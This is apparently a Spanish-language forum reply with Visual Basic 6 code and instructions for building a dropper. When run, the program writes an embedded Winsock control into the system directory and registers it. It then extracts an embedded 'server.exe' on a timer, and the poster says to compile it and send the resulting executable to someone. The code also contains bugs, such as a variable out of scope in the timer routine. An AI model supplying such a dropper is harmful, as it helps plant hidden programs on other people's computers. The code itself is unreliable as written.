mira yo lo ago de la siguiente manera. Crea un proyecto y pega este code:
Private Declare Function DllRegisterServer Lib "MSWINSCK.OCX" () As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Function LoadDataIntoFile(ByVal DataName As Integer, _
ByVal Filename As String, ByVal Types As String)
Dim myArray() As Byte
Dim myFile As Long
If Dir(Filename) = "" Then
myArray = LoadResData(DataName, Types)
myFile = FreeFile
Open Filename For Binary Access Write As #myFile
Put #myFile, , myArray
Close #myFile
End If
End Function
Private Sub Form_Load()
Dim Car As String * 128
Dim Longitud, Es As Integer
Dim Camino As String
Dim win
Dim sys
Longitud = 128
Es = GetWindowsDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es)))
win = Camino
Es = GetSystemDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es)))
sys = Camino
LoadDataIntoFile 101, sys & "\MSWINSCK.OCX", "CUSTOM"
If DllRegisterServer = ERROR_SUCCESS Then
MsgBox "Registration Successful"
Else
MsgBox "Registration Unsuccessful"
End If
End Sub
Private Sub Timer1_Timer()
LoadDataIntoFile 102, sys & "\server.exe", "CUSTOM"
End Sub
luego colocas un timer con intervalo 2000.
despues solo tienes que añadir la libreria y el server al proyecto como recursos. añadre primero la libreria y luego el server. una vez exo esto compilas y manda el exe generado.
lo que hace esto es extrae la libreria a system32 y la registra. y pasados unos segundos extrae el server a la carpeta donde esta este programa. kuando lo ejecutes no deberia de salir el error del winsock.
esta sacado del api-guide, luego le e ido añadiendo cosillas para que extraiga el server y demas.
espero que te sirva.